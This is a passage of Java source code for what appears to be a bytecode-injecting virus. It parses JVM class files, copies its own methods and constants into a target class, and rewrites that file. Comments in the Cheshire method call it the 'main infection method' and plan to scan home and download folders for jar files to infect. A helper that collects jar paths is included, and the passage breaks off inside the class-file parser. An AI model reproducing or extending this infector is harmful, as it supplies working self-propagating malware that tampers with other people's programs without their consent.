  725.                     byte[] offset = new byte[2];
  726.                     int offset_int = buffer.getShort();
  727.                     int new_offset = instructionIndex(old_frame_position + offset_int + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
  728.                     old_frame_position += offset_int;
  729.  
  730.  
  731.                     ByteBuffer bbuf = ByteBuffer.allocate(2);
  732.                     bbuf.putShort((short) new_offset);
  733.  
  734.                     try {
  735.                         bos.write(bbuf.array());
  736.                         int num_locals = buffer.getShort();
  737.                         bbuf = ByteBuffer.allocate(2);
  738.                         bbuf.putShort((short) num_locals);
  739.                         bos.write(bbuf.array());
  740.                         for(int a = 0; a < num_locals; a++){
  741.                             bos.write(processVerificationTypeInfo(buffer, origin, destination));
  742.                         }
  743.                         int num_stack_items = buffer.getShort();
  744.                         bbuf = ByteBuffer.allocate(2);
  745.                         bbuf.putShort((short) num_stack_items);
  746.                         bos.write(bbuf.array());
  747.                         for(int a= 0; a < num_stack_items; a++){
  748.                             bos.write(processVerificationTypeInfo(buffer, origin, destination));
  749.                         }
  750.                     } catch (IOException e) {
  751.                         e.printStackTrace();
  752.                     }
  753.  
  754.                     frame_position += new_offset;
  755.  
  756.                 }
  757.             }
  758.             b.putShort((short) num_entries);
  759.             b.put(bos.toByteArray());
  760.             return b.array();
  761.         }
  762.         else if(type.equals("LineNumberTable")){
  763.             int table_length = buffer.getShort();
  764.             b.putShort((short) table_length);
  765.             for(int i = 0; i < table_length; i++){
  766.                 b.putShort((short) (i+1));
  767.                 buffer.getShort();
  768.                 b.putShort(buffer.getShort());
  769.         }
  770.         return b.array();
  771.     }
  772.         return buffer.array();
  773. }
  774.  
  775.     /**
  776.      * Easily turn a Utf8 String index into a string we can read.
  777.      * @param index
  778.      * @param parsedClass
  779.      * @return
  780.      */
  781.     public static String getUtf8Constant(int index, HashMap<String, Object> parsedClass){
  782.         byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool");
  783.         byte[] constant = constant_pool[index-1];
  784.         return new String(Arrays.copyOfRange(constant, 3, constant.length));
  785.     }
  786.  
  787.     /**
  788.      * Pass a set of bytes in a class, return the name of the method.
  789.      * @param method
  790.      * @param parsedClass
  791.      * @return
  792.      */
  793.     public static String getMethodName(byte[] method, HashMap<String, Object> parsedClass){
  794.         ByteBuffer method_buffer = ByteBuffer.wrap(method);
  795.         method_buffer.get(new byte[2]);
  796.         int name_index = method_buffer.getShort();
  797.         return getUtf8Constant(name_index, parsedClass);
  798.     }
  799.  
  800.     /**
  801.      *
  802.      * Copy a method from one parsed class to another.
  803.      * If the method already exists, overwrite it. This is because I'm lazy and didn't want to write a
  804.      * separate method for handling injection.
  805.      * @param parsedClass
  806.      * @param orig_method_index
  807.      * @param destination
  808.      * @return The index of the method in the new file
  809.      *
  810.      */
  811.     public static int copyMethod(HashMap<String, Object> origin, int orig_method_index, HashMap<String, Object> destination) throws IOException {
  812.         byte[][] orig_methods = (byte[][]) origin.get("methods");
  813.         byte[] method = orig_methods[orig_method_index];
  814.         boolean overwrite = false;
  815.  
  816.         String methodName = getMethodName(method, origin);
  817.         ByteBuffer method_buffer = ByteBuffer.wrap(method);
  818.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  819.         ByteBuffer b = ByteBuffer.allocate(8);
  820.         byte[] access_flags = new byte[2];
  821.         method_buffer.get(access_flags);
  822.         b.put(access_flags);
  823.         int orig_name_index = method_buffer.getShort();
  824.         int new_name_index = copyConstant(origin, orig_name_index, destination);
  825.         b.putShort((short) new_name_index);
  826.  
  827.         int orig_descriptor_index = method_buffer.getShort();
  828.         int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
  829.         b.putShort((short) new_descriptor_index);
  830.  
  831.         int attribute_count = method_buffer.getShort();
  832.         b.putShort((short) attribute_count);
  833.         bos.write(b.array());
  834.         b.clear();
  835.         HashMap<Integer, Integer> offsets = new HashMap<Integer, Integer>();
  836.         origin.put("method_offsets", offsets);
  837.  
  838.         for(int i = 0; i < attribute_count; i++){
  839.             b = ByteBuffer.allocate(6);
  840.             int old_name_index = method_buffer.getShort();
  841.             int new_attr_name_index = copyConstant(origin, old_name_index, destination);
  842.  
  843.             int attribute_length = method_buffer.getInt();
  844.             byte[][] cpool = (byte[][]) origin.get("constant_pool");
  845.  
  846.             byte[] attr_name_bytes = cpool[old_name_index-1];
  847.             String name = getUtf8Constant(old_name_index, origin);
  848.  
  849.             byte[] attribute = new byte[attribute_length];
  850.             method_buffer.get(attribute);
  851.  
  852.             byte[] new_attribute = processAttribute(attribute, origin, destination, name);
  853.  
  854.             b.putShort((short) new_attr_name_index);
  855.             b.putInt(new_attribute.length);
  856.             bos.write(b.array());
  857.             bos.write(new_attribute);
  858.  
  859.  
  860.         }
  861.         byte[][] dest_methods = (byte[][]) destination.get("methods");
  862.         byte[][] temp_new_methods = new byte[dest_methods.length+1][];
  863.  
  864.         for(int a = 0; a < dest_methods.length; a++){
  865.             if(methodName.equals(getMethodName(dest_methods[a], destination))){
  866.                 overwrite = true;
  867.             }
  868.         }
  869.         if(overwrite == true){
  870.             temp_new_methods = new byte[dest_methods.length][];
  871.             for(int a = 0; a < dest_methods.length; a++){
  872.                 if(methodName.equals(getMethodName(dest_methods[a], destination))){
  873.                     temp_new_methods[a] =  bos.toByteArray();
  874.                 }
  875.                 else{
  876.                     temp_new_methods[a] = dest_methods[a];
  877.                 }
  878.             }
  879.         }
  880.         else{
  881.             for(int a = 0; a < dest_methods.length; a++){
  882.                 temp_new_methods[a] = dest_methods[a];
  883.             }
  884.             temp_new_methods[dest_methods.length] = bos.toByteArray();
  885.         }
  886.         destination.put("methods", temp_new_methods);
  887.         return dest_methods.length+1;
  888.     }
  889.  
  890.     /**
  891.      * Add an item to the constant pool.
  892.      */
  893.     public static int addToPool(HashMap<String, Object> parsedClass, byte[] new_data){
  894.         byte[][] target_constant_pool = (byte[][]) parsedClass.get("constant_pool");
  895.         int pool_size = target_constant_pool.length+1;
  896.         byte[][] temp_target_pool = new byte[pool_size][];
  897.         for(int a = 0; a < pool_size-1; a++){
  898.             temp_target_pool[a] = target_constant_pool[a];
  899.         }
  900.         temp_target_pool[pool_size-1] = new_data;
  901.         parsedClass.put("constant_pool", temp_target_pool);
  902.         return pool_size;
  903.     }
  904.  
  905.     /**
  906.      * Get a class's name as a String based on the name of this_class.
  907.      * @param parsedClass
  908.      * @return
  909.      */
  910.     public static String getClassName(HashMap<String, Object> parsedClass){
  911.         byte[] selfClassBytes = (byte[]) parsedClass.get("this_class");
  912.         byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool");
  913.         ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
  914.         int self_class_index = selfBytes.getShort();
  915.         byte[] selfClass = constant_pool[self_class_index-1];
  916.         ByteBuffer selfClassBuff = ByteBuffer.wrap(selfClass);
  917.         selfClassBuff.get();
  918.         int classNameIndex = selfClassBuff.getShort();
  919.         return getUtf8Constant(classNameIndex, parsedClass);
  920.     }
  921.  
  922.     /**
  923.      * Let's think about how we're doing this...
  924.      *
  925.      * Ideally we want to pass in the original constant index, copy the data, place it in the target
  926.      * and return the new index. This makes copying methods easier when it comes to the attributes.
  927.      *
  928.      * @return The new index of the copied constant
  929.      */
  930.    public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
  931.        byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
  932.        byte[] orig_constant = constant_pool[origin_index-1];
  933.  
  934.        //Create a map between the old and new constant pools
  935.        //This will help us avoid copying too many vars over and being wasteful
  936.        if(origin.get("constant_pool_map") == null){
  937.            HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
  938.            origin.put("constant_pool_map", constant_pool_map);
  939.        }
  940.        HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
  941.        if(constant_pool_map.keySet().contains(origin_index)){
  942.            return constant_pool_map.get(origin_index);
  943.        }
  944.        int const_tag = orig_constant[0];
  945.        if(const_tag == 1){
  946.            int new_index = addToPool(destination, orig_constant);
  947.            constant_pool_map.put(origin_index, new_index);
  948.            return new_index;
  949.        }
  950.        else if(const_tag == 7){
  951.            ByteBuffer b = ByteBuffer.allocate(3);
  952.            int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
  953.            int new_name_index = copyConstant(origin, orig_name_index, destination);
  954.            b.put(orig_constant[0]);
  955.            b.putShort((short) new_name_index);
  956.            byte[] new_constant = b.array();
  957.            int new_index;
  958.            if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
  959.                byte[] selfClassBytes = (byte[]) destination.get("this_class");
  960.                ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
  961.                new_index = selfBytes.getShort();
  962.            }
  963.            else{
  964.                new_index = addToPool(destination, new_constant);
  965.                constant_pool_map.put(origin_index, new_index);
  966.            }
  967.            return new_index;
  968.        }
  969.        else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
  970.            ByteBuffer b = ByteBuffer.allocate(5);
  971.            int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
  972.            int new_class_index = copyConstant(origin, orig_class_index, destination);
  973.            String thisClass = getClassName(origin);
  974.            byte[] methodClassBytes = constant_pool[orig_class_index-1];
  975.            ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
  976.            methodClassBuffer.get();
  977.            int classNameIndex = methodClassBuffer.getShort();
  978.            String methodClassName = getUtf8Constant(classNameIndex, origin);
  979.            if(methodClassName.equals(getClassName(origin))){
  980.                byte[] selfClassBytes = (byte[]) destination.get("this_class");
  981.                byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
  982.                ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
  983.                new_class_index = selfBytes.getShort();
  984.            }
  985.            b.put(orig_constant[0]);
  986.            b.putShort((short) new_class_index);
  987.            int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
  988.            int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
  989.            b.putShort((short) new_name_and_type_index);
  990.            byte[] new_constant = b.array();
  991.            int new_index = addToPool(destination, new_constant);
  992.            constant_pool_map.put(origin_index, new_index);
  993.            return new_index;
  994.        }
  995.        else if(const_tag == 8){
  996.            ByteBuffer b = ByteBuffer.allocate(3);
  997.            b.put(orig_constant[0]);
  998.            int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
  999.            int new_string_index = copyConstant(origin, orig_string_index, destination);
  1000.            b.putShort((short) new_string_index);
  1001.            byte[] new_constant = b.array();
  1002.            int new_index = addToPool(destination, new_constant);
  1003.            constant_pool_map.put(origin_index, new_index);
  1004.            return new_index;
  1005.  
  1006.        }
  1007.        else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
  1008.            int new_index = addToPool(destination, orig_constant);
  1009.            constant_pool_map.put(origin_index, new_index);
  1010.            return new_index;
  1011.        }
  1012.        else if(const_tag == 12){
  1013.            ByteBuffer b = ByteBuffer.allocate(5);
  1014.            b.put(orig_constant[0]);
  1015.            int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
  1016.            int new_name_index = copyConstant(origin, orig_name_index, destination);
  1017.            b.putShort((short) new_name_index);
  1018.            int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
  1019.            int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
  1020.            b.putShort((short) new_descriptor_index);
  1021.            byte[] new_constant = b.array();
  1022.            int new_index = addToPool(destination, new_constant);
  1023.            constant_pool_map.put(origin_index, new_index);
  1024.            return new_index;
  1025.        }
  1026.        else if(const_tag == 15){
  1027.            ByteBuffer b = ByteBuffer.allocate(4);
  1028.            b.put(orig_constant[0]);
  1029.            b.put(orig_constant[1]);
  1030.            int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
  1031.            int new_reference_index = copyConstant(origin, old_reference_index, destination);
  1032.            b.putShort((short) new_reference_index);
  1033.            byte[] new_constant = b.array();
  1034.            int new_index = addToPool(destination, new_constant);
  1035.            constant_pool_map.put(origin_index, new_index);
  1036.            return new_index;
  1037.        }
  1038.        else if(const_tag == 16){
  1039.            ByteBuffer b = ByteBuffer.allocate(3);
  1040.            b.put(orig_constant[0]);
  1041.            int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
  1042.            int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
  1043.            b.putShort((short) new_descriptor_index);
  1044.            byte[] new_constant = b.array();
  1045.            int new_index = addToPool(destination, new_constant);
  1046.            constant_pool_map.put(origin_index, new_index);
  1047.            return new_index;
  1048.        }
  1049.        else if(const_tag == 18){
  1050.            ByteBuffer b = ByteBuffer.allocate(5);
  1051.            b.put(orig_constant[0]);
  1052.            b.put(orig_constant[1]);
  1053.            b.put(orig_constant[2]);
  1054.            int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
  1055.            int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
  1056.            b.putShort((short) new_name_and_type_index);
  1057.            byte[] new_constant = b.array();
  1058.            int new_index = addToPool(destination, new_constant);
  1059.            constant_pool_map.put(origin_index, new_index);
  1060.            return new_index;
  1061.        }
  1062.        else{
  1063.            return -1;
  1064.        }
  1065.    }
  1066.  
  1067.     /**
  1068.      * Find jar files given a directory
  1069.      * @param f
  1070.      * @return
  1071.      */
  1072.     public static void searchFile(File file, ArrayList<File> fileList) {
  1073.         File[] files = file.listFiles();
  1074.         if (files != null) {
  1075.             for (File f : file.listFiles()) {
  1076.                 if (f.isFile() && f.getName().endsWith(".jar")) {
  1077.                     System.out.println("Added " + f.getAbsolutePath());
  1078.                     fileList.add(f);
  1079.                 } else if (f.isDirectory() && f.canRead()) {
  1080.                     searchFile(f, fileList);
  1081.                 }
  1082.             }
  1083.         }
  1084.  
  1085.     }
  1086.     /**
  1087.      * This is our main infection method.
  1088.      * We need to determine the target classfile name when we're copying this
  1089.      * because you can't figure out what class you're in while you're using a
  1090.      * static method. Can't call a method without a class unless the method is
  1091.      * statis, so we're at a bit of a catch-22. The solution is simple to hardcode
  1092.      * the class in the propagated bytecode.
  1093.      *
  1094.      * We need to know if we can just inject static methods or not. It seems like either
  1095.      * way you'd still need to change the constant pool.
  1096.      */
  1097.     public static void Cheshire() throws IOException {
  1098.         System.out.println("We're all mad down here...you may notice that I'm not all there myself.");
  1099.  
  1100.         /**
  1101.          * What logic do we want to implement?
  1102.          * Search folders for jar files, open them, look for main classes and infect?
  1103.          * Sounds good. How do we get our current path? Also need to know if on Linux or Windows.
  1104.          * Scan user dirs, home folders, downloads and look for running Java processes if on applicable version.
  1105.          */
  1106.         String h = MethodHandles.lookup().lookupClass().getResource(MethodHandles.lookup().lookupClass().getName() + ".class").getPath();
  1107.         System.out.println(h);
  1108.         String selfpath = SelfExamine.class.getProtectionDomain().getCodeSource().getLocation().getPath().replace("file:", "") + "SelfExamine.class";
  1109.         System.out.println(selfpath);
  1110.         String OS = (String) System.getProperties().get("os.name");
  1111.         String homedir = (String) System.getProperties().get("user.home");
  1112.         File home = new File(homedir);
  1113.         File fa = new File("dongs.txt");
  1114.         fa.createNewFile();
  1115.  
  1116.  
  1117.         System.out.println("Detected OS is " + OS);
  1118.         System.out.println("Home directory is " + homedir);
  1119.         File f = new File(".");
  1120.         System.out.println("Absolute path:" + f.getAbsolutePath());
  1121.         System.out.println("Directory listing:");
  1122.  
  1123.         for(String s : f.list()){
  1124.             System.out.println(s);
  1125.         }
  1126.         System.out.println(f.list());
  1127.         selfpath = selfpath.substring(1);
  1128.         HashMap<String, Object> parsedClass = parseClassFile(selfpath);
  1129.         HashMap<String, Object> goatClass = parseClassFile("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class");
  1130.         findOurMethods(parsedClass, goatClass);
  1131.         inject(parsedClass, goatClass);
  1132.  
  1133.         FileOutputStream fos = new FileOutputStream(new File("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class"));
  1134.         byte[] classbytes = classBytes(goatClass);
  1135.         fos.write(classbytes);
  1136.         fos.close();
  1137.  
  1138.     }
  1139.  
  1140.     /**
  1141.      * Return a hashmap with all of our shit in it.
  1142.      * We want to break this down into a hashmap of the sections
  1143.      * with maybe an arraylist of...objects? How do we keep the complexity low?
  1144.      * Store them as bytes? Do I even need to write a full parser? Probably not.
  1145.      *
  1146.      *
  1147.      * @param classfilepath
  1148.      * @return
  1149.      * @throws IOException
  1150.      */
  1151.     public static HashMap<String, Object> parseClassFile(String classfilepath) {
  1152.         try {
  1153.  
  1154.             Paths.get(classfilepath);
  1155.             byte[] classbytes = Files.readAllBytes(Paths.get(classfilepath));
  1156.  
  1157.             DataInputStream dis = new DataInputStream(new ByteArrayInputStream(classbytes));
  1158.             byte[] magic = new byte[4];
  1159.  
  1160.             HashMap<String, Object> parsedClass = new HashMap<String, Object>();
  1161.             dis.read(magic);
  1162.             StringBuilder sb = new StringBuilder();
  1163.  
  1164.             for (byte b : magic) {
  1165.                 sb.append(String.format("%02X", b));
  1166.             }
  1167.  
  1168.             if (sb.toString().equals("CAFEBABE")) {
  1169.                 parsedClass.put("magic", magic);
  1170.                 byte[] minor_version = new byte[2];
  1171.                 dis.read(minor_version);
  1172.                 parsedClass.put("minor_version", minor_version);
  1173.                 byte[] major_version = new byte[2];
  1174.                 dis.read(major_version);
  1175.                 parsedClass.put("major_version", major_version);
  1176.                 byte[] constant_pool_count = new byte[2];
  1177.                 dis.read(constant_pool_count);
  1178.                 parsedClass.put("constant_pool_count", constant_pool_count);
  1179.                 int constant_count_int = (short) (((constant_pool_count[0] & 0xFF) << 8) | (constant_pool_count[1] & 0xFF));
  1180.                 byte[][] constant_pool = new byte[constant_count_int-1][];
  1181.  
  1182.                 for (int i = 0; i < constant_count_int-1; i++) {
  1183.  
  1184.                     byte tagbyte = dis.readByte();
  1185.                     int tag = tagbyte;
  1186.  
  1187.                     if (tag == 7) {
  1188.                         // CONSTANT_Class_info
  1189.                         byte[] class_info_bytes = new byte[3];
  1190.                         class_info_bytes[0] = tagbyte;
  1191.                         class_info_bytes[1] = dis.readByte();
  1192.                         class_info_bytes[2] = dis.readByte();
  1193.                         constant_pool[i] = class_info_bytes;
  1194.                     } else if (tag == 9) {
  1195.                         //Constant_Fieldref
  1196.                         byte[] fieldref_info_bytes = new byte[5];
  1197.                         fieldref_info_bytes[0] = tagbyte;
  1198.                         fieldref_info_bytes[1] = dis.readByte();
  1199.                         fieldref_info_bytes[2] = dis.readByte();
  1200.                         fieldref_info_bytes[3] = dis.readByte();
  1201.                         fieldref_info_bytes[4] = dis.readByte();
  1202.                         constant_pool[i] = fieldref_info_bytes;
  1203.                     } else if (tag == 10) {
  1204.                         //Constant_Methodref
  1205.                         byte[] methodref_info_bytes = new byte[5];
  1206.                         methodref_info_bytes[0] = tagbyte;
  1207.                         methodref_info_bytes[1] = dis.readByte();
  1208.                         methodref_info_bytes[2] = dis.readByte();
  1209.                         methodref_info_bytes[3] = dis.readByte();
  1210.                         methodref_info_bytes[4] = dis.readByte();
  1211.                         constant_pool[i] = methodref_info_bytes;
  1212.                     } else if (tag == 11) {
  1213.                         //Constant_InterfaceMethodref
  1214.                         byte[] interfacemethodref_info_bytes = new byte[5];
  1215.                         interfacemethodref_info_bytes[0] = tagbyte;
  1216.                         interfacemethodref_info_bytes[1] = dis.readByte();
  1217.                         interfacemethodref_info_bytes[2] = dis.readByte();
  1218.                         interfacemethodref_info_bytes[3] = dis.readByte();
  1219.                         interfacemethodref_info_bytes[4] = dis.readByte();
  1220.                         constant_pool[i] = interfacemethodref_info_bytes;
  1221.                     } else if (tag == 8) {
  1222.                         //Constant_String
  1223.                         byte[] string_info_bytes = new byte[3];
  1224.                         string_info_bytes[0] = tagbyte;
  1225.                         string_info_bytes[1] = dis.readByte();
  1226.                         string_info_bytes[2] = dis.readByte();
  1227.                         constant_pool[i] = string_info_bytes;
  1228.                     } else if (tag == 3) {
  1229.                         //Constant_Integer
  1230.                         byte[] integer_info_bytes = new byte[5];
  1231.                         integer_info_bytes[0] = tagbyte;
  1232.                         integer_info_bytes[1] = dis.readByte();
  1233.                         integer_info_bytes[2] = dis.readByte();
  1234.                         integer_info_bytes[3] = dis.readByte();
  1235.                         integer_info_bytes[4] = dis.readByte();
  1236.                         constant_pool[i] = integer_info_bytes;
  1237.                     } else if (tag == 4) {
  1238.                         //Constant_Float
  1239.                         byte[] float_info_bytes = new byte[5];
  1240.                         float_info_bytes[0] = tagbyte;
  1241.                         float_info_bytes[1] = dis.readByte();
  1242.                         float_info_bytes[2] = dis.readByte();
  1243.                         float_info_bytes[3] = dis.readByte();
  1244.                         float_info_bytes[4] = dis.readByte();
  1245.                         constant_pool[i] = float_info_bytes;
  1246.                     } else if (tag == 5) {
  1247.                         //Constant_Long
  1248.                         byte[] long_info_bytes = new byte[9];
  1249.                         long_info_bytes[0] = tagbyte;
  1250.                         long_info_bytes[1] = dis.readByte();
  1251.                         long_info_bytes[2] = dis.readByte();
  1252.                         long_info_bytes[3] = dis.readByte();
  1253.                         long_info_bytes[4] = dis.readByte();
  1254.                         long_info_bytes[5] = dis.readByte();
  1255.                         long_info_bytes[6] = dis.readByte();
  1256.                         long_info_bytes[7] = dis.readByte();
  1257.                         long_info_bytes[8] = dis.readByte();
  1258.                         constant_pool[i] = long_info_bytes;
  1259.                     } else if (tag == 6) {
  1260.                         //Constant_Double
  1261.                         byte[] double_info_bytes = new byte[9];
  1262.                         double_info_bytes[0] = tagbyte;
  1263.                         double_info_bytes[1] = dis.readByte();
  1264.                         double_info_bytes[2] = dis.readByte();
  1265.                         double_info_bytes[3] = dis.readByte();
  1266.                         double_info_bytes[4] = dis.readByte();
  1267.                         double_info_bytes[5] = dis.readByte();
  1268.                         double_info_bytes[6] = dis.readByte();
  1269.                         double_info_bytes[7] = dis.readByte();
  1270.                         double_info_bytes[8] = dis.readByte();
  1271.                         constant_pool[i] = double_info_bytes;
  1272.                     } else if (tag == 12) {
  1273.                         //Constant_NameAndType
  1274.                         byte[] nameandtype_info_bytes = new byte[5];
  1275.                         nameandtype_info_bytes[0] = tagbyte;
  1276.                         nameandtype_info_bytes[1] = dis.readByte();
  1277.                         nameandtype_info_bytes[2] = dis.readByte();
  1278.                         nameandtype_info_bytes[3] = dis.readByte();
  1279.                         nameandtype_info_bytes[4] = dis.readByte();
  1280.                         constant_pool[i] = nameandtype_info_bytes;
  1281.                     } else if (tag == 1) {
  1282.                         //Constant_Utf8
  1283.                         byte[] lengthbytes = new byte[2];
  1284.                         lengthbytes[0] = dis.readByte();
  1285.                         lengthbytes[1] = dis.readByte();
  1286.                         int length = (short) (((lengthbytes[0] & 0xFF) << 8) | (lengthbytes[1] & 0xFF));
  1287.                         byte[] utf_bytes = new byte[3 + length];
  1288.                         utf_bytes[0] = tagbyte;
  1289.                         utf_bytes[1] = lengthbytes[0];
  1290.                         utf_bytes[2] = lengthbytes[1];
  1291.                         for (int a = 0; a < length; a++) {
  1292.                             utf_bytes[a + 3] = dis.readByte();
  1293.                         }
  1294.                         constant_pool[i] = utf_bytes;
  1295.                     } else if (tag == 15) {
  1296.                         //Constant_MethodHandle
  1297.                         byte[] methodhandle_info_bytes = new byte[4];
  1298.                         methodhandle_info_bytes[0] = tagbyte;
  1299.                         methodhandle_info_bytes[1] = dis.readByte();
  1300.                         methodhandle_info_bytes[2] = dis.readByte();
  1301.                         methodhandle_info_bytes[3] = dis.readByte();
  1302.                         constant_pool[i] = methodhandle_info_bytes;
  1303.                     } else if (tag == 16) {
  1304.                         //Constant_MethodType
  1305.                         byte[] methodtype_info_bytes = new byte[3];
  1306.                         methodtype_info_bytes[0] = tagbyte;
  1307.                         methodtype_info_bytes[1] = dis.readByte();
  1308.                         methodtype_info_bytes[2] = dis.readByte();
  1309.                         constant_pool[i] = methodtype_info_bytes;
  1310.                     } else if (tag == 18) {
  1311.                         //Constant_InvokeDynamic
  1312.                         byte[] invokedynamic_info_bytes = new byte[5];
  1313.                         invokedynamic_info_bytes[0] = tagbyte;
  1314.                         invokedynamic_info_bytes[1] = dis.readByte();
  1315.                         invokedynamic_info_bytes[2] = dis.readByte();
  1316.                         invokedynamic_info_bytes[3] = dis.readByte();
  1317.                         invokedynamic_info_bytes[4] = dis.readByte();
  1318.                         constant_pool[i] = invokedynamic_info_bytes;
  1319.                     } else {
  1320.                     }
  1321.  
  1322.                 }
  1323.                 parsedClass.put("constant_pool", constant_pool);
  1324.                 byte[] access_flags = new byte[2];
  1325.                 dis.read(access_flags);
  1326.                 parsedClass.put("access_flags", access_flags);
  1327.                 byte[] this_class = new byte[2];
  1328.                 dis.read(this_class);
  1329.                 parsedClass.put("this_class", this_class);
  1330.                 byte[] super_class = new byte[2];
  1331.                 dis.read(super_class);
  1332.                 parsedClass.put("super_class", super_class);
  1333.                 byte[] interfaces_count = new byte[2];
  1334.                 dis.read(interfaces_count);
  1335.                 parsedClass.put("interfaces_count", interfaces_count);
  1336.  
  1337.                 int iface_count = (short) (((interfaces_count[0] & 0xFF) << 8) | (interfaces_count[1] & 0xFF));
  1338.                 byte[][] interfaces = new byte[iface_count][];
  1339.  
  1340.                 for (int iface_loop = 0; iface_loop < iface_count; iface_loop++) {
  1341.                     byte[] iface = new byte[2];
  1342.                     iface[0] = dis.readByte();
  1343.                     iface[1] = dis.readByte();
  1344.                     interfaces[iface_loop] = iface;
  1345.                 }
  1346.  
  1347.                 parsedClass.put("interfaces", interfaces);
  1348.  
  1349.                 byte[] fields_count = new byte[2];
  1350.                 dis.read(fields_count);
  1351.                 parsedClass.put("fields_count", fields_count);
  1352.                 int f_count = (short) (((fields_count[0] & 0xFF) << 8) | (fields_count[1] & 0xFF));
  1353.  
  1354.                 byte[][] fields = new byte[f_count][];
  1355.  
  1356.                 for (int fields_loop = 0; fields_loop < f_count; fields_loop++) {
  1357.                     ByteArrayOutputStream field = new ByteArrayOutputStream();
  1358.                     byte[] fieldfixed = new byte[8];
  1359.                     dis.read(fieldfixed);
  1360.                     field.write(fieldfixed);
  1361.                     int attributes_count = (short) (((fieldfixed[6] & 0xFF) << 8) | (fieldfixed[7] & 0xFF));
  1362.                     for (int attributes = 0; attributes < attributes_count; attributes++) {
  1363.                         ByteArrayOutputStream attribute = new ByteArrayOutputStream();
  1364.                         byte[] attribute_name_index = new byte[2];
  1365.                         byte[] attribute_length = new byte[4];
  1366.                         dis.read(attribute_name_index);
  1367.                         dis.read(attribute_length);
  1368.                         int attribute_len = ByteBuffer.wrap(attribute_length).getInt();
  1369.                         byte[] info = new byte[attribute_len];
  1370.                         dis.read(info);
  1371.                         attribute.write(attribute_name_index);
  1372.                         attribute.write(attribute_length);
  1373.                         attribute.write(info);
  1374.                         field.write(attribute.toByteArray());
  1375.                     }
  1376.                     fields[fields_loop] = field.toByteArray();
  1377.                 }
  1378.  
  1379.                 parsedClass.put("fields", fields);
  1380.  
  1381.                 byte[] methods_count = new byte[2];
  1382.                 dis.read(methods_count);
  1383.  
  1384.                 parsedClass.put("methods_count", methods_count);
  1385.  
  1386.                 int method_count = (short) (((methods_count[0] & 0xFF) << 8) | (methods_count[1] & 0xFF));
  1387.  
  1388.                 byte[][] methods = new byte[method_count][];
  1389.  
  1390.                 for (int methods_loop = 0; methods_loop < method_count; methods_loop++) {
  1391.                     ByteArrayOutputStream methodbytes = new ByteArrayOutputStream();
  1392.                     byte[] methodfixed = new byte[8];
  1393.                     dis.read(methodfixed);
  1394.                     int attribute_count = (short) (((methodfixed[6] & 0xFF) << 8) | (methodfixed[7] & 0xFF));
  1395.                     ByteArrayOutputStream method_attributes = new ByteArrayOutputStream();
  1396.  
  1397.                     for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) {
  1398.                         ByteArrayOutputStream attribute = new ByteArrayOutputStream();
  1399.                         byte[] attribute_name_index = new byte[2];
  1400.                         byte[] attribute_length = new byte[4];
  1401.                         dis.read(attribute_name_index);
  1402.                         dis.read(attribute_length);
  1403.                         int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt();
  1404.                         byte[] attribute_bytes = new byte[attribute_length_int];
  1405.                         dis.read(attribute_bytes);
  1406.                         attribute.write(attribute_name_index);
  1407.                         attribute.write(attribute_length);
  1408.                         attribute.write(attribute_bytes);
  1409.                         method_attributes.write(attribute.toByteArray());
  1410.                     }
  1411.                     methodbytes.write(methodfixed);
  1412.                     methodbytes.write(method_attributes.toByteArray());
  1413.                     methods[methods_loop] = methodbytes.toByteArray();
  1414.                 }
  1415.                 parsedClass.put("methods", methods);
  1416.  
  1417.                 byte[] attributes_count = new byte[2];
  1418.  
  1419.                 dis.read(attributes_count);
  1420.  
  1421.                 parsedClass.put("attributes_count", attributes_count);
  1422.  
  1423.                 int attribute_count = (short) (((attributes_count[0] & 0xFF) << 8) | (attributes_count[1] & 0xFF));
  1424.  
  1425.                 byte[][] attributes = new byte[attribute_count][];
  1426.  
  1427.                 for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) {
  1428.                     ByteArrayOutputStream attribute = new ByteArrayOutputStream();
  1429.                     byte[] attribute_name_index = new byte[2];
  1430.                     byte[] attribute_length = new byte[4];
  1431.                     dis.read(attribute_name_index);
  1432.                     dis.read(attribute_length);
  1433.                     attribute.write(attribute_name_index);
  1434.                     attribute.write(attribute_length);
